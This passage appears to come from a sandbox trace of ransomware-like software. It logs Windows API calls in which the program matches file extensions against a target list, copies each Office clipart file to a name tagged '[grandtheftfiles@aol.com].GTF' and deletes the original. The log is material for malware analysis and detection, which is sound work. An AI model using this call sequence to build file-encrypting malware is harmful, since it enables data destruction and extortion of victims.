	[0176.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0176.776] lstrlenW (lpString=".zip") returned 4
	[0176.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.776] lstrlenW (lpString=".rar") returned 4
	[0176.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.777] lstrlenW (lpString=".bz2") returned 4
	[0176.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.777] lstrlenW (lpString=".7z") returned 3
	[0176.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0176.777] lstrlenW (lpString=".dbf") returned 4
	[0176.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0176.777] lstrlenW (lpString=".1cd") returned 4
	[0176.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0176.777] lstrlenW (lpString=".jpg") returned 4
	[0176.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.777] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.777] lstrlenW (lpString="J0152882.WMF") returned 12
	[0176.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0176.779] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=9072) returned 1
	[0176.779] CloseHandle (hObject=0x428) returned 1
	[0176.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 0x220
	[0176.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0176.780] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.780] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0176.781] GetLastError () returned 0x0
	[0176.781] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2370, lpOverlapped=0x0) returned 1
	[0176.783] WriteFile (in: hFile=0x3dc, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2380, lpOverlapped=0x0) returned 1
	[0176.784] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.784] WriteFile (in: hFile=0x3dc, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.785] SetEndOfFile (hFile=0x3dc) returned 1
	[0176.785] CloseHandle (hObject=0x3dc) returned 1
	[0176.785] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.785] SetEndOfFile (hFile=0x428) returned 1
	[0176.788] CloseHandle (hObject=0x428) returned 1
	[0176.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 1
	[0176.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0176.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0176.789] lstrlenW (lpString=".doc") returned 4
	[0176.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.789] lstrlenW (lpString=".docx") returned 5
	[0176.789] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0176.789] lstrlenW (lpString=".pdf") returned 4
	[0176.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.789] lstrlenW (lpString=".xls") returned 4
	[0176.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.789] lstrlenW (lpString=".xlsx") returned 5
	[0176.789] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0176.789] lstrlenW (lpString=".ppt") returned 4
	[0176.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0176.789] lstrlenW (lpString=".zip") returned 4
	[0176.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.789] lstrlenW (lpString=".rar") returned 4
	[0176.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.789] lstrlenW (lpString=".bz2") returned 4
	[0176.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.790] lstrlenW (lpString=".7z") returned 3
	[0176.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0176.790] lstrlenW (lpString=".dbf") returned 4
	[0176.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0176.790] lstrlenW (lpString=".1cd") returned 4
	[0176.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0176.790] lstrlenW (lpString=".jpg") returned 4
	[0176.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0176.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0176.790] lstrlenW (lpString=".doc") returned 4
	[0176.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.790] lstrlenW (lpString=".docx") returned 5
	[0176.790] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0176.790] lstrlenW (lpString=".pdf") returned 4
	[0176.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.790] lstrlenW (lpString=".xls") returned 4
	[0176.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.790] lstrlenW (lpString=".xlsx") returned 5
	[0176.790] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0176.790] lstrlenW (lpString=".ppt") returned 4
	[0176.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0176.790] lstrlenW (lpString=".zip") returned 4
	[0176.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.790] lstrlenW (lpString=".rar") returned 4
	[0176.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.790] lstrlenW (lpString=".bz2") returned 4
	[0176.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.791] lstrlenW (lpString=".7z") returned 3
	[0176.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0176.791] lstrlenW (lpString=".dbf") returned 4
	[0176.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0176.791] lstrlenW (lpString=".1cd") returned 4
	[0176.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0176.791] lstrlenW (lpString=".jpg") returned 4
	[0176.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.791] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.791] lstrlenW (lpString="J0152884.WMF") returned 12
	[0176.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0176.792] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6956) returned 1
	[0176.792] CloseHandle (hObject=0x428) returned 1
	[0176.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf")) returned 0x220
	[0176.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0176.793] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.793] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0176.794] GetLastError () returned 0x0
	[0176.794] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1b2c, lpOverlapped=0x0) returned 1
	[0176.796] WriteFile (in: hFile=0x3dc, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1b30, lpOverlapped=0x0) returned 1
	[0176.797] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.797] WriteFile (in: hFile=0x3dc, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.797] SetEndOfFile (hFile=0x3dc) returned 1
	[0176.797] CloseHandle (hObject=0x3dc) returned 1
	[0176.797] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.797] SetEndOfFile (hFile=0x428) returned 1
	[0176.801] CloseHandle (hObject=0x428) returned 1
	[0176.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf")) returned 1
	[0176.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0176.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0176.803] lstrlenW (lpString=".doc") returned 4
	[0176.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.803] lstrlenW (lpString=".docx") returned 5
	[0176.803] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0176.803] lstrlenW (lpString=".pdf") returned 4
	[0176.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.803] lstrlenW (lpString=".xls") returned 4
	[0176.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.803] lstrlenW (lpString=".xlsx") returned 5
	[0176.803] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0176.803] lstrlenW (lpString=".ppt") returned 4
	[0176.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0176.803] lstrlenW (lpString=".zip") returned 4
	[0176.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.803] lstrlenW (lpString=".rar") returned 4
	[0176.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.803] lstrlenW (lpString=".bz2") returned 4
	[0176.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.803] lstrlenW (lpString=".7z") returned 3
	[0176.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0176.803] lstrlenW (lpString=".dbf") returned 4
	[0176.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0176.803] lstrlenW (lpString=".1cd") returned 4
	[0176.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0176.803] lstrlenW (lpString=".jpg") returned 4
	[0176.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0176.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0176.804] lstrlenW (lpString=".doc") returned 4
	[0176.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.804] lstrlenW (lpString=".docx") returned 5
	[0176.804] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0176.804] lstrlenW (lpString=".pdf") returned 4
	[0176.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.804] lstrlenW (lpString=".xls") returned 4
	[0176.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.804] lstrlenW (lpString=".xlsx") returned 5
	[0176.804] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0176.804] lstrlenW (lpString=".ppt") returned 4
	[0176.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0176.804] lstrlenW (lpString=".zip") returned 4
	[0176.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.804] lstrlenW (lpString=".rar") returned 4
	[0176.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.804] lstrlenW (lpString=".bz2") returned 4
	[0176.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.804] lstrlenW (lpString=".7z") returned 3
	[0176.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0176.804] lstrlenW (lpString=".dbf") returned 4
	[0176.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0176.804] lstrlenW (lpString=".1cd") returned 4
	[0176.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0176.805] lstrlenW (lpString=".jpg") returned 4
	[0176.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.805] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.805] lstrlenW (lpString="J0152890.WMF") returned 12
	[0176.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0176.806] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1940) returned 1
	[0176.806] CloseHandle (hObject=0x428) returned 1
	[0176.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 0x220
	[0176.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0176.806] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.806] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0176.807] GetLastError () returned 0x0
	[0176.807] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x794, lpOverlapped=0x0) returned 1
	[0176.997] WriteFile (in: hFile=0x3dc, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x7a0, lpOverlapped=0x0) returned 1
	[0176.998] ReadFile (in: hFile=0x428, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.998] WriteFile (in: hFile=0x3dc, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.998] SetEndOfFile (hFile=0x3dc) returned 1
	[0176.999] CloseHandle (hObject=0x3dc) returned 1
	[0176.999] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.999] SetEndOfFile (hFile=0x428) returned 1
	[0177.002] CloseHandle (hObject=0x428) returned 1
	[0177.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0177.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 1
	[0177.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0177.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0177.958] lstrlenW (lpString=".doc") returned 4
	[0177.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.958] lstrlenW (lpString=".docx") returned 5
	[0177.958] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0177.958] lstrlenW (lpString=".pdf") returned 4
	[0177.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.958] lstrlenW (lpString=".xls") returned 4
	[0177.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.958] lstrlenW (lpString=".xlsx") returned 5
	[0177.958] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0177.958] lstrlenW (lpString=".ppt") returned 4
	[0177.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0177.958] lstrlenW (lpString=".zip") returned 4
	[0177.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.958] lstrlenW (lpString=".rar") returned 4
	[0177.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.958] lstrlenW (lpString=".bz2") returned 4
	[0177.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.958] lstrlenW (lpString=".7z") returned 3
	[0177.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0177.958] lstrlenW (lpString=".dbf") returned 4
	[0177.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0177.959] lstrlenW (lpString=".1cd") returned 4
	[0177.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0177.959] lstrlenW (lpString=".jpg") returned 4
	[0177.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0177.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0177.959] lstrlenW (lpString=".doc") returned 4
	[0177.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.959] lstrlenW (lpString=".docx") returned 5
	[0177.959] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0177.959] lstrlenW (lpString=".pdf") returned 4
	[0177.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.959] lstrlenW (lpString=".xls") returned 4
	[0177.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.959] lstrlenW (lpString=".xlsx") returned 5
	[0177.959] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0177.959] lstrlenW (lpString=".ppt") returned 4
	[0177.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
